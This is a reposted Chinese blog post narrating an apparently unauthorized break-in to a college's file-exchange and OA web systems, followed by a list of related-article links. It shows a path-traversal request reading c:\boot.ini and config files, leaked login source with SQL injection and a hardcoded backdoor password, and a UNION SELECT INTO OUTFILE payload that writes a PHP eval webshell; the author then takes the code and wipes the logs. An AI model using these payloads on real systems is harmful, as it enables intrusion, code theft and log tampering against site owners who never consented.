一次曲折的安全检测

转载 2007年09月27日 21:40:00
此次安全检测过去有段时间了,一直想写成稿子就是没有时间,具体环境可能有所淡忘,但整个过程和思路还是很明了的。由于在校期间课余在学校的网络工作室工作,所以对一些学校网站的服务和发展比较关注。这期间发现某学院的文件交换系统非常的不错,在校园网内使用会带来很多方面的便捷。搜索了下网上没有现成的系统下载,难道非要自己现写不成…

踩点:
服务器开放了21和80端口,Serv-U6.2、Apache/2.055(win32)PHP/5.1.2;同台服务器上还有一个OA系统。黑盒测试,先是测试上传脚本文件,可以上传,得到提取码后进行提取不会被解析…,对上传过程进行抓包,然后构造不存在的文件,发包,也没有暴出任何敏感信息。对整个的交换系统进行文件扫描也就扫出个config.php,google了下也没有别的文件。刚才不是说还有个OA 系统吗,google OA的时候确实有动态的连接,但所有的连接首先判断是不是校内IP,如果非校内IP直接跳转一个登陆页面,到这里测试完全的陷入了僵局。几经的离开,几经的回来再测试都没有结果,难道真的拿不下它吗?再一次的测试时输入提取码后的下载地址吸引了我。

“hxxp://www.xxx.edu.cn/ex/download.php?url=exchanging%2F200709121626171664123.jpg&name=dff3badd8b57fee777c63871.jpg”

url后应该是个绝对地址,那么修改下会不会下到别的文件?
抓包:

GET /ex/download.php?url=exchanging%2F200709121626171664123.jpg&name=dff3badd8b57fee777c63871.jpg
HTTP/1.1
Accept: */*
Referer: hxxp://www.xxx.edu.cn/ex/down.php
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.1)
Host: www.xxx.edu.cn
Connection: Keep-Alive
Cookie: down_fail_cnt=0
一般WIN32下PHP继承的SYS权限,所以读文件干脆就读c:/boot.ini,Telnet 服务器ip 80发送下面修改好的数据

修改:

/ex/download.php?url=c%3A%5Cboot.ini HTTP/1.1
Accept: */*
Referer: hxxp://www.xxx.edu.cn/ex/down.php
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.1)
Host: www.xxx.edu.cn
Connection: Keep-Alive
Cookie: down_fail_cnt=0

结果真的返回了boot.ini的内容,狂喜中!

紧接着下来的问题就是猜web目录的路径了,找PHP或者Apache的配置文件应该都能找到WEB的路径,还是上面的发包,当试到路径d:/wwwroot/ex时,没有返回错误信息,说明猜对了他的路径,然后就是读交换系统的文件代码了,代码都是相关联的,发现就7个php文件而且用这个系统根本拿不到shell。进而转攻OA系统,不出意外OA的路径应该就是d:/wwwroot/oa,完全正确!首先读的就是config.php,察看敏感信息,暴出数据库联接信息是本地连接,root权限。然后就是扫描OA文件,测试到这程度能不能拿shell我心里还是没有底,大批的读源文件?… …心里发寒。

突破:

自己陷入矛盾中,放弃吧不甘心;继续吧,就算读完整套代码可能一无所获。心一横,先看看有没有代码过滤再说吧,首先登陆口,随意输入用户名、密码提交,抓包。抓到check.php,然后读代码。它是这么写的:

<?php
//echo "系统维护,请稍后访问!";exit;
require("config.php");
require("public/f_main.php");
require("f_db/".$Database['type'].".php");

session_start();

$db = new sql_db($Database['server'], $Database['username'], $Database['password'], $Database['dbname'], false);
if(!$db -> db_connect_id)
{
MsgGo("数据库连接失败!","exit");
}

foreach($_POST as $key=>$value) $$key=$value;

//用户密码验证
$sql="SELECT a.*,b.dep_name,b.dep_parent_id,b.dep_id AS dep_id,c.dep_name as dep_parent_name
FROM t_user a
LEFT JOIN t_dep b ON a.dep_id = b.dep_id
LEFT JOIN t_dep c ON c.dep_id = b.dep_parent_id
WHERE user_name ='$user_name'";
if(!($result = $db->sql_query($sql))) MsgGo("数据查询失败!","login.php");
if($row = $db->sql_fetchrow($result)){
if($row["user_status"]!="1"){
MsgGo("该用户处于停用状态,暂不能登录!","login.php");
}else{
if(md5($user_password)==$row["user_password"] || crypt($user_password,$row["user_password_old"])==$row["user_password_old"] || $user_password=="qwert12345")
{
if($row["user_password_old"]!="" && $user_password!="qwert12345"){
$sql="UPDATE t_user SET
user_password='".md5($user_password)."',
user_password_old=''
WHERE user_name ='$user_name'";
if(!$result = $db->sql_query($sql)){
MsgGo("数据查询失败!","login.php");
}
}
$sql="UPDATE t_user SET
last_login_time=".time()."
WHERE user_name ='$user_name'";
if(!$result = $db->sql_query($sql)){
MsgGo("数据查询失败!","login.php");
}
$_SESSION["sess_user_name"]=$row["user_name"];
$_SESSION["sess_user_type"]=$row["user_type"];
$_SESSION["sess_user_real_name"]=$row["user_real_name"];
$_SESSION["sess_user_level"]=$row["user_level"];
$_SESSION["sess_dep_id"]=$row["dep_id"];
$_SESSION["sess_dep_name"]=$row["dep_name"];

if($row["dep_parent_id"]=="1"){
$_SESSION["sess_dep_level"]="1";
$_SESSION["sess_dep_id1"]=$row["dep_id"];
$_SESSION["sess_dep_parent_id"]=$row["dep_parent_id"];
$_SESSION["sess_dep_parent_name"]=$row["dep_parent_name"];
}elseif($row["dep_parent_id"]>"1"){
$_SESSION["sess_dep_level"]="2";
$_SESSION["sess_dep_id1"]=$row["dep_parent_id"];
$_SESSION["sess_dep_parent_id"]=$row["dep_parent_id"];
$_SESSION["sess_dep_parent_name"]=$row["dep_parent_name"];
}

WriteLog("登录系统");

//writeCookie("username_recent",$_SESSION["sess_user_name"],24*30);
setcookie("username_recent",$_SESSION["sess_user_name"], time()+3600*24*30);

//进入系统主页面
echo "<script language='javascript'>";
if($go!=""){
echo "location='{$go}?filter=".urlencode($filter)."'";
}else{
if($row["user_type"]!="101") echo "location='login/index.php'";
else echo "location='index.php'";
}

echo "</script>";
}else{
MsgGo("密码错误!","login.php");
}
}
}else{
MsgGo("用户名错误!","login.php");
}

?>

可以看出check.php过滤非常的不严,直接导致SQL注入!貌似网上有不少类似的文章。先查出有24个字段,然后
'union select 1,'<?@eval($HTTP_POST_VARS['a'])?>',3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 into outfile 'd:/wwwroot/oa/dir.php'/*
提交!

这样hxxp://www.xxx.edu.cn/oa/dir.php 就是我们的shell地址了。

这个shell都不用提权… …直接把文件交换还有OA打包拖回家,也没有搞别的,擦擦日志走人了。

整个过程算是峰回路转啊,那个艰辛啊,知道这样还不如自己写,托回来个有洞的程序-_-,唉。仔细读了下代码,问题出在download.php上,就写错了一个函数… …看来还真验证了那句话“安全来不得半点马虎!”我目的就是拿这个程序,没有再做进一步的渗透,有了小的缺口可能导致整个服务器群的沦陷!安全无小事! 

对自己VPS的一次安全检测

最近想给学弟学妹赞助点主机,正好我的VPS资源尚有不少。在提供之前,先检查一下自己的vps安全性,检查以后吓自己一跳。     先说明一下我的VPS状况:         debian Li...
  • qq_27446553
  • qq_27446553
  • 2016年03月13日 01:16
  • 394

对骗子网站的一次安全检测~

昨天一盆友说,一骗子网站骗了他1000多。 让打那死那个站(asp站),就随手看了看。。。   发现有多个注入点,然后就爆密码...爆了半天,没有爆出来..手工老是出错。唉唉...技术不过关呀。...
  • candy_578079476
  • candy_578079476
  • 2017年04月10日 00:41
  • 288

一起学安全测试——自己搭建安全测试环境(DVWA)

想学习安全测试,但没有环境,又不能去网上乱搞,是不是很头大,今天博主就教你搭建一个自己的安全测试环境——DVWA DVWA 全名叫Damn Vulnerable Web Application,是一个...
  • huilan_same
  • huilan_same
  • 2017年03月28日 21:34
  • 1677

对韩国某手表网站的一次偶然安全检测

对韩国某手表网站的一次偶然安全检测 http://netsecurity.51cto.com/art/200811/95440_all.htm 2008-11-03 15:21 n3tl0...
  • kendyhj9999
  • kendyhj9999
  • 2014年02月14日 16:25
  • 944

网站安全检测及安全工具

在线检测: 趋势科技网络信誉查询 瑞星云安全网站联盟 金山云安全中心 360软件安全认证中心 URLVoid:在线版网络安全检测网站   软件检测: AccessDiver 4.402  专业...
  • shisongsong
  • shisongsong
  • 2016年11月19日 00:49
  • 436

Java Web:主动和被动方式检测安全的框架

对于某些敏感的系统例如支付、交易需要为其加固,有必要将可能的攻击情况考虑进来加以防范,于是有了这么一个简易的安全框架。在前辈的代码上(https://github.com/zhwj184/webSec...
  • zhangxin09
  • zhangxin09
  • 2017年02月05日 20:39
  • 1974

记一次曲折的渗透测试经历

昨天把jexboss脚本整合到我的多线程框架里,扫了一遍全国jboss,发现一千多个shell.工具地址在:https://github.com/Xyntax/POC-T随意拿了一个看似大厂商的,作本...
  • cd_xuyue
  • cd_xuyue
  • 2016年04月21日 19:16
  • 8089

iOS安全攻防(二十):越狱检测的攻与防

越狱检测的攻与防在应用开发过程中,我们希望知道设备是否越狱,正以什么权限运行程序,好对应采取一些防御和安全提示措施。iOS7相比之前版本的系统而言,升级了沙盒机制,封锁了几乎全部应用沙盒可以共享数据的...
  • yiyaaixuexi
  • yiyaaixuexi
  • 2014年03月02日 13:38
  • 29499

一次曲折的竞品测试自动化之路

一次曲折的竞品测试自动化之路 前两天接到一个活,对一款竞品的OCR识别结果进行分析统计,要对两万多张图片进行识别,然后统计各个字段的识别正确率,对于手动测试来讲,这基本上是不可能的。   ...
  • lonelyrains
  • lonelyrains
  • 2016年03月30日 20:19
  • 523

Python安全测试工具合集(整理)

网络 Scapy: send, sniff and dissect and forge network packets. Usable interactively or as a library ...
  • chenlei_525
  • chenlei_525
  • 2016年06月07日 01:07
  • 824
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:一次曲折的安全检测
举报原因:
原因补充:

(最多只允许输入30个字)